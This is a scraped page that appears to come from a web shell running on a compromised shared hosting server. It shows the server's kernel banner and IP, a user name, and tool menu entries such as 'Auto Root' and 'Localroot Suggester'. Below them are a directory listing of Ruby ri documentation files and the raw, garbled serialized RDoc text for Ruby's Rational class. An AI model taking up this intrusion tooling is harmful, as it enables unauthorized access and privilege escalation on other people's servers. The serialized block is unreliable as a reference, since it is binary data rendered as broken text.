Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.222
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby25 /
share /
ri /
2.5.0 /
system /
Rational /
Delete
Unzip
Name
Size
Permission
Date
Action
compatible
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
%2a%2a-i.ri
693
B
-rw-r--r--
2023-07-26 18:25
%2a-i.ri
654
B
-rw-r--r--
2023-07-26 18:25
%2b-i.ri
653
B
-rw-r--r--
2023-07-26 18:25
%2d%40-i.ri
296
B
-rw-r--r--
2023-07-26 18:25
%2d-i.ri
656
B
-rw-r--r--
2023-07-26 18:25
%2f-i.ri
654
B
-rw-r--r--
2023-07-26 18:25
%3c%3d%3e-i.ri
856
B
-rw-r--r--
2023-07-26 18:25
%3d%3d-i.ri
678
B
-rw-r--r--
2023-07-26 18:25
abs-i.ri
520
B
-rw-r--r--
2023-07-26 18:25
as_json-i.ri
379
B
-rw-r--r--
2023-07-26 18:25
cdesc-Rational.ri
2.71
KB
-rw-r--r--
2023-07-26 18:25
ceil-i.ri
1.09
KB
-rw-r--r--
2023-07-26 18:25
denominator-i.ri
614
B
-rw-r--r--
2023-07-26 18:25
fdiv-i.ri
592
B
-rw-r--r--
2023-07-26 18:25
floor-i.ri
1.1
KB
-rw-r--r--
2023-07-26 18:25
inspect-i.ri
541
B
-rw-r--r--
2023-07-26 18:25
json_create-c.ri
430
B
-rw-r--r--
2023-07-26 18:25
magnitude-i.ri
532
B
-rw-r--r--
2023-07-26 18:25
negative%3f-i.ri
349
B
-rw-r--r--
2023-07-26 18:25
numerator-i.ri
561
B
-rw-r--r--
2023-07-26 18:25
positive%3f-i.ri
352
B
-rw-r--r--
2023-07-26 18:25
quo-i.ri
658
B
-rw-r--r--
2023-07-26 18:25
rationalize-i.ri
773
B
-rw-r--r--
2023-07-26 18:25
round-i.ri
1.73
KB
-rw-r--r--
2023-07-26 18:25
to_d-i.ri
722
B
-rw-r--r--
2023-07-26 18:25
to_f-i.ri
547
B
-rw-r--r--
2023-07-26 18:25
to_i-i.ri
630
B
-rw-r--r--
2023-07-26 18:25
to_json-i.ri
405
B
-rw-r--r--
2023-07-26 18:25
to_r-i.ri
444
B
-rw-r--r--
2023-07-26 18:25
to_s-i.ri
502
B
-rw-r--r--
2023-07-26 18:25
truncate-i.ri
1.1
KB
-rw-r--r--
2023-07-26 18:25
Save
Rename
U:RDoc::NormalClass[iI" Rational:ET@I"Numeric;To:RDoc::Markup::Document:@parts[o;;[ : @fileI"*ext/bigdecimal/lib/bigdecimal/util.rb;T:0@omit_headings_from_table_of_contents_below0o;;[ ; I"&ext/json/lib/json/add/rational.rb;T; 0o;;[o:RDoc::Markup::Paragraph;[I"HA rational number can be represented as a pair of integer numbers: ;TI"Ca/b (b>0), where a is the numerator and b is the denominator. ;TI"2Integer a equals rational a/1 mathematically.;To:RDoc::Markup::BlankLine o;;[I"HIn Ruby, you can create rational objects with the Kernel#Rational, ;TI"Dto_r, or rationalize methods or by suffixing +r+ to a literal. ;TI"5The return values will be irreducible fractions.;T@o:RDoc::Markup::Verbatim;[ I" Rational(1) #=> (1/1) ;TI" Rational(2, 3) #=> (2/3) ;TI"!Rational(4, -6) #=> (-2/3) ;TI" 3.to_r #=> (3/1) ;TI" 2/3r #=> (2/3) ;T:@format0o;;[I"IYou can also create rational objects from floating-point numbers or ;TI" strings.;T@o; ;[ I"?Rational(0.3) #=> (5404319552844595/18014398509481984) ;TI"!Rational('0.3') #=> (3/10) ;TI" Rational('2/3') #=> (2/3) ;TI" ;TI"?0.3.to_r #=> (5404319552844595/18014398509481984) ;TI"!'0.3'.to_r #=> (3/10) ;TI" '2/3'.to_r #=> (2/3) ;TI"!0.3.rationalize #=> (3/10) ;T;0o;;[I"DA rational object is an exact number, which helps you to write ;TI"*programs without any rounding errors.;T@o; ;[I"K10.times.inject(0) {|t| t + 0.1 } #=> 0.9999999999999999 ;TI">10.times.inject(0) {|t| t + Rational('0.1') } #=> (1/1) ;T;0o;;[I"PHowever, when an expression includes an inexact component (numerical value ;TI"6or operation), it will produce an inexact result.;T@o; ;[ I"#Rational(10) / 3 #=> (10/3) ;TI"/Rational(10) / 3.0 #=> 3.3333333333333335 ;TI" ;TI"$Rational(-8) ** Rational(1, 3) ;TI"D #=> (1.0000000000000002+1.7320508075688772i);T;0; I"rational.c;T; 0; 0; 0[ [ [ [[I" class;T[[:public[[I"json_create;TI"&ext/json/lib/json/add/rational.rb;T[:protected[ [:private[ [I" instance;T[[;["[I"*;TI"rational.c;T[I"**;T@^[I"+;T@^[I"-;T@^[I"-@;T@^[I"/;T@^[I"<=>;T@^[I"==;T@^[I"abs;T@^[I"as_json;T@R[I" ceil;T@^[I"denominator;T@^[I" fdiv;T@^[I" floor;T@^[I"inspect;T@^[I"magnitude;T@^[I"negative?;T@^[I"numerator;T@^[I"positive?;T@^[I"quo;T@^[I"rationalize;T@^[I" round;T@^[I" to_d;TI"*ext/bigdecimal/lib/bigdecimal/util.rb;T[I" to_f;T@^[I" to_i;T@^[I"to_json;T@R[I" to_r;T@^[I" to_s;T@^[I" truncate;T@^[;[ [;[ [ [U:RDoc::Context::Section[i 0o;;[ ; 0; 0[@ @@F@FcRDoc::TopLevel